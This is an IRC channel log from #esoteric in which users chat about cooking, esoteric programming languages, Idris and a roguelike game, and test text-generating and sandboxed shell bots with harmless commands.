#esoteric :Is it written in Piet < 1394914669 907834 :password2!~password@197.78.159.108 PRIVMSG #esoteric :nope < 1394914671 131682 :password2!~password@197.78.159.108 PRIVMSG #esoteric :c++ < 1394914732 148236 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Shame < 1394914793 588312 :password2!~password@197.78.159.108 PRIVMSG #esoteric :but its aim is to interpret bf < 1394914801 897369 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Double shame < 1394914810 443883 :password2!~password@197.78.159.108 PRIVMSG #esoteric :-_- < 1394914989 826058 :password2!~password@197.78.159.108 PRIVMSG #esoteric :for now it just sit in a room and responds to hello < 1394915023 265707 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :fungot: Hello. < 1394915023 382611 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :fizzie: and my soul and nev'r... actually, y'know, the rune over behind xkyon's throne labeled " castle blowing her cover. < 1394915037 421605 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :This new style is not very good. :/ < 1394915054 719445 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: Canadianness isn't just a nationality. it's a State of Mind. it's a Temperature. it's Kraft Dinner, too! < 1394915077 775052 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fizzie: it already had some interesting moments, but I concur. I think my favourite is the lovecraft one. < 1394915079 810898 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394915085 836282 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :But I was going to make chilli and cheese sandwich things < 1394915107 634285 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :but you had an apple instead? < 1394915125 705924 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :olsner, the apple was for the walk home from the shop < 1394915126 715532 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :boily: I'm partial to europarl, for some reason. (And the "irc" style, which was in fact the first.) < 1394915132 659766 :nortti!nortti@nano.smar.fi NICK :lawspeaker < 1394915135 436521 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :^style < 1394915135 559022 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots* pa qwantz sms speeches ss wp youtube < 1394915143 476688 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :^style enron < 1394915143 636592 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: enron (subset of the Enron email dataset) < 1394915152 438870 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :fungot, how do I deseed a chilli < 1394915152 612365 :lawspeaker!nortti@nano.smar.fi NICK :nortti < 1394915152 690624 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Taneb: for an email. check on the appropriate. april brazil mark t. d. anderson will get to know that the issue of how the attached schedule of the plane that landed a job. < 1394915159 43172 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :^style jargon < 1394915159 164881 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: jargon (UNIX-HATERS mailing list archive) < 1394915162 968953 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :jarg it on fungot < 1394915163 95368 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: ack, i've gotten more help than criticism from its alumni. < 1394915203 233660 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hmm, I prefer hotter food, should I leave the seeds in, fungot? < 1394915203 325430 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Taneb: to the root directory and then return to the superficial dogma of the < 1394915239 251678 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Helpful as always < 1394915269 509840 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :deseeding is overkill in my experience, doesn't seem to matter if there are seeds or not < 1394915280 710694 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`thanks olsner < 1394915281 83286 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394915285 556750 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`thanks HackEgo < 1394915285 805296 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394915287 80175 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :`ls < 1394915287 451954 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394915301 597168 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Thanks, olsner. Tholsner. < 1394915309 561286 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :perhaps it's hotter? but just use less next time if it gets too hot < 1394915339 180286 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Oh man, the recipe says use four chillies, but I only bought three :) < 1394915341 489364 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :*:( < 1394915452 807599 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :do you have any hot sauce? tomato paste? < 1394915464 891889 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :a different recipe? < 1394915507 823393 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394915559 365120 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I could just spread it thinner < 1394915565 739034 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :It's only baked sandwiches < 1394915736 647056 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1394915886 501535 :FireFly!~firefly@oftn/member/FireFly QUIT :Excess Flood < 1394915998 79758 :FireFly!~firefly@oftn/member/FireFly JOIN :#esoteric < 1394917560 395372 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^thanks olsner < 1394917560 520517 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Thanks, olsner. Tholsner. < 1394917583 67160 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Replacing HackEgo, one command at a time. < 1394917603 790010 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Disclaimer: may have bugs. < 1394917609 646914 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^thanks blorg < 1394917609 810515 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Thanks, blorg. Thorg. < 1394917635 175543 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :If it doesn't have any, then it should have the same semantics as `thanks. < 1394917684 333319 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :the semantics of `thanks luckily doesn't depend too much on the output < 1394917709 438587 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :^show thanks < 1394917709 564554 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :>2,[>,]+15[>+6>+7>+3>+2<4-]>-6.>-.-7.+13.-3.+8.>-.>+2.<5[<]>[.>]>3+2.>.<3.<2[<]>[[-<2+>+>]+<-97[-4[-4[-6[-6[-4[>-<[-]]]]]]]>[[>]>2-11.<3[<]<.>3[.>]>3.>5][-]>]<3[[<]>2[.>]>5.>2] < 1394917752 576069 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :great way to show thanks, fungot < 1394917752 630492 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :olsner: didn't you think i'm using it as it were the greatest new idea since the counter was big enough, zwgc has an opening for a routing entry first in the header ( as set forth in the file < 1394917989 500640 :Slereahphone!~slereahph@80.12.100.246 QUIT :Remote host closed the connection < 1394918010 353886 :Slereahphone!~slereahph@80.12.100.246 JOIN :#esoteric < 1394918165 21791 :Slereahphone_!~slereahph@80.10.159.214 JOIN :#esoteric < 1394918258 345252 :Slereahphone!~slereahph@80.12.100.246 QUIT :Ping timeout: 240 seconds < 1394918260 184136 :Slereahphone_!~slereahph@80.10.159.214 NICK :Slereahphone < 1394918319 345684 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :how would one cleanly search for 3 sequential lines conforming to same regex using standard unix commandset? < 1394918514 396387 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :never mind, awk and counter var < 1394918972 479075 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :standard unix commandset < 1394918973 592920 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :BORING < 1394919578 308679 :AnotherTest!~turingcom@94-224-16-121.access.telenet.be QUIT :Ping timeout: 240 seconds < 1394919598 304071 :password2!~password@197.78.159.108 QUIT :Ping timeout: 240 seconds < 1394919641 39104 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394919823 299986 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 264 seconds < 1394920295 122160 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394920439 29037 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1394920900 671804 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394921083 420502 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394921084 274423 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394921130 272662 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :https://github.com/idris-lang/Idris-dev/issues/287#issuecomment-37738942 < 1394921264 804208 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION doesn't actually know what's going on in that code < 1394921584 176570 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394922454 246277 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Except possibly totality checker merely not active < 1394922499 937113 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`run echo hi >testy < 1394922500 296218 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394922529 422424 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ok it's definitely not getting into the repository. < 1394922934 200051 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :^thanks hm < 1394922934 325400 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Thanks, hm. Tm. < 1394923067 220500 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1394923094 780146 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1394923108 602667 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :`learn TEST TEST TEST! TEST TEST TEST! < 1394923108 967062 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394923261 244611 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1394923536 630550 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION sings the Zelda grab-item jingle ♪ < 1394923562 690174 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(still crawling. just got the Sword of Zonguldrok!) < 1394923633 490601 :aloril!~aloril@dsl-tkubrasgw2-54f80b-12.dhcp.inet.fi QUIT :Remote host closed the connection < 1394924224 343705 :aloril!~aloril@dsl-tkubrasgw2-54f80b-12.dhcp.inet.fi JOIN :#esoteric < 1394924950 122624 :ion!ion@heh.fi PRIVMSG #esoteric :http://fratti.ch/spaghetti/airlessarchives69%20-%20%5bArchive%5d%20Unboxing%202012%20McDonalds%20My%20Little%20Pony%20Toys.webm < 1394925271 378860 :Slereah__!~jackal@176.222.51.233 JOIN :#esoteric < 1394925313 108254 :Slereah_!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1394929699 532876 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com TOPIC #esoteric :shiny racoons | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ < 1394929776 57672 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394929979 830550 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :kmc: "radiant raccoon" would sound like an Ubuntu release. < 1394930014 530176 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :rocky raccoon? < 1394930029 476658 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :rocks aren't shiny in general < 1394930036 292450 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :https://www.youtube.com/watch?v=wNRH7_Kd5Yc < 1394930110 746376 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :("radiant" is also not synonymous to "shiny", of course, but closer than "rocky", imho) < 1394930247 883027 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 JOIN :#esoteric < 1394931313 214751 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :ACTION is killing unique pandemonium lords ♪ ^^ < 1394932121 37366 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394932218 277457 :Slereah__!~jackal@176.222.51.233 QUIT :Ping timeout: 240 seconds < 1394933366 733817 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :int-e: indeed < 1394933467 502841 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what will they do when they reach the end of the alphabet with animals < 1394933470 550245 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :imo start over with mushrooms < 1394933489 546553 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Ascendent Amanita, Beautiful Bolete, Charming Chanterelle < 1394933535 84950 :nooodl!~nooodl@33.96-242-81.adsl-dyn.isp.belgacom.be QUIT :Quit: Ik ga weg < 1394933552 92590 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :dazzling deathcap (http://crawl.chaosforge.org/Deathcap) < 1394933773 553908 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION swats boily for just beating him to the deathcap -----### < 1394933780 614615 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394933786 389617 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :oh wait < 1394933813 410588 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394933845 336337 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i see "just" is a bit exaggerated here. < 1394933963 875987 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there is an actual mushroom called the death cap < 1394933967 473712 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :amanita phalloides < 1394934037 596076 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :often poisons asian immigrants to the western us who are used to picking the very similar lookng volvariella volvacea < 1394934060 231230 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :I knew that. < 1394934066 167155 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :cool < 1394934071 847190 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ACTION -> afk < 1394934079 363465 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 264 seconds < 1394934105 752589 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`echo hi < 1394934106 84781 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934225 45736 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` echo hi < 1394934225 378948 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934229 639638 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` ls < 1394934229 861872 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934237 859502 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`echo No output. < 1394934238 81361 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934248 792458 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`? TEST < 1394934249 124228 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934252 331552 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :okay. < 1394934281 552852 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :HackEgo is censoring overzealously. < 1394934301 798443 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe e's just meditating. < 1394934322 27578 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` wake up < 1394934322 362655 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934327 638517 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`wake up < 1394934327 973268 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934368 865333 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :it does not even complain about commands not being found. perhaps the find-a-command script is broken? < 1394934463 782431 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`help < 1394934463 893573 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Runs arbitrary code in GNU/Linux. Type "`", or "`run " for full shell commands. "`fetch " downloads files. Files saved to $PWD are persistent, and $PWD/bin is in $PATH. $PWD is a mercurial repository, "`revert " can be used to revert to a revision. See http://codu.org/projects/hackbot/fshg/ < 1394934484 414380 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :sounds likely. < 1394934495 796732 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`run echo hi < 1394934496 131078 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934561 87202 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`fetch http://esolangs.org/wiki/Wierd < 1394934563 431617 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :2014-03-16 01:49:22 URL:http://esolangs.org/wiki/Wierd [18043] -> "Wierd" [1] < 1394934579 720448 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh, the builtins don't use the sandbox machinery, right? < 1394934585 871146 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :showed up in the repository browser too < 1394934590 239967 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :indeed. < 1394934593 596979 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Gregor: ^ < 1394934607 85049 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and then he's idle again. < 1394934621 824479 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`revert < 1394934626 636443 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Done. < 1394934649 12438 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :`revert 1 < 1394934650 998244 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm the revert did _not_ show. < 1394934674 55707 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Done. < 1394934691 630165 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :...that did. < 1394934696 648585 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :`run echo hi < 1394934697 93350 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :No output. < 1394934703 123480 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :works perfectly now < 1394934719 273206 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :O KAY < 1394934723 921986 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`revert < 1394934736 574107 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Done. < 1394934738 388530 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :elliott: what did that do? the commit looks awfully big ... < 1394934746 213420 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :int-e: went back some trillion years < 1394934757 508684 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :back to when hackego roamed with the dinosaurs < 1394934809 843918 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :http://codu.org/projects/hackbot/fshg/index.cgi/file/03afb1619ef2/wisdom ... wow. < 1394934817 122636 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :so few entries. < 1394934847 369842 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`revert 4528 < 1394934848 545837 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Done. < 1394934875 659984 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ok, every second revert gets through? < 1394934878 388262 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: what was that for? < 1394934904 886176 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I'd hope that 4528 is http://codu.org/projects/hackbot/fshg/index.cgi/rev/c8d06895aeef < 1394934937 487223 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well it's the number of the revision before i fetched Wierd < 1394934969 419697 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :In any case, I missed your `revert. < 1394934988 261869 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I stare at IRC, I stare at the web browser, I lose context. < 1394935002 739086 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fiendish < 1394935034 142903 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :anyway, all the non-sandbox commands seem to work _sometimes_. < 1394935088 416295 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394935463 892526 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 QUIT :Ping timeout: 245 seconds < 1394935682 115130 :Slereah_!~jackal@176.222.51.233 QUIT :Read error: Connection reset by peer < 1394935702 69450 :Slereah_!~jackal@176.222.51.233 JOIN :#esoteric < 1394936222 821095 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 JOIN :#esoteric < 1394936280 404309 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :MWAH AH AH AH AH AH AH! < 1394936350 900301 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i knew it, the saneness was just a ruse < 1394936389 23415 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :sorry. I just killed the fourth unique Pandemonium Lord. < 1394936400 551599 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(eviscerating demons is a fun activity!) < 1394936414 296701 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fourth? that doesn't sound very unique. < 1394936422 239954 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( let muahaha = the (Stream String) "haha" : muahaha < 1394936422 498151 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:42: error: expected: "$", < 1394936422 554314 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394936422 554471 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394936422 554563 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394936422 554653 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394936428 633862 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( let muahaha = the (Stream String) "haha" : muahaha in muahaha < 1394936428 884284 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:42: error: expected: "$", < 1394936428 941134 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394936428 941284 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394936430 841221 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394936431 161391 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :? < 1394936432 919274 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394936440 719232 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :( let muahaha = the (Stream String) ("haha" : muahaha in muahaha) < 1394936440 986067 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:19: error: expected: "$", < 1394936441 42398 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "$>", "&&", "&&&", "*", "***", < 1394936441 42548 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "+", "++", "-", "->", ".", "/", < 1394936441 42640 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "/=", ":+", "::", "<", "<$", < 1394936442 68585 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : "<$>", "<*>", "<+>", "<->",14↵… < 1394936446 791145 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo_: STOP < 1394936470 990711 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: in DCSS, there are an infinity of pandemonium levels, each with a randomized pandemonium lord. < 1394936495 680787 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :oerjan: of these infinite levels, four have a predefined fixed vault, with a fixed unique and a fixed rune. < 1394936503 798015 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :therefour, they are four, but unique. < 1394936514 237238 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Sgeo_: CONTINUE < 1394936517 766579 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo_: it doesn't work for two different reasons, one of which i tried out earlier and it doesn't work inside let. < 1394936528 293376 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :or in expressions. < 1394936546 75281 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(basically let is _not_ recursive in idris.) < 1394936554 76302 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ah < 1394936575 616497 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :is idris not lazy...? < 1394936666 849201 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's strict by default, but has laziness annotations. I don't know how those interact with codata. < 1394936715 769036 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i tried applying laziness too, it didn't help with the lack of recursion. < 1394936725 729230 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :admittedly i haven't read any actual tutorial. < 1394936747 809512 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :weird. < 1394936791 251080 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Melvar said something about recursion being allowed in where clauses, but i couldn't find out how to put one in. < 1394936879 427362 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :maybe you can only put them on top level declarations, or something. < 1394936897 835751 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :( :doc where < 1394936897 893118 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :(input):1:1: error: expected: end of input, < 1394936897 950302 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric : operator < 1394936897 950443 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric ::doc where < 1394936897 950548 :idris-ircslave!~ircslave@dslb-088-078-249-067.pools.arcor-ip.net PRIVMSG #esoteric :^ < 1394937190 60696 :zzo38!~zzo38@24-207-51-179.eastlink.ca JOIN :#esoteric < 1394937375 234806 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :sup zzo < 1394937551 353321 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :sdown? < 1394937608 409240 :Bike!ae1924ee@gateway/web/freenode/ip.174.25.36.238 PRIVMSG #esoteric :no < 1394937653 546221 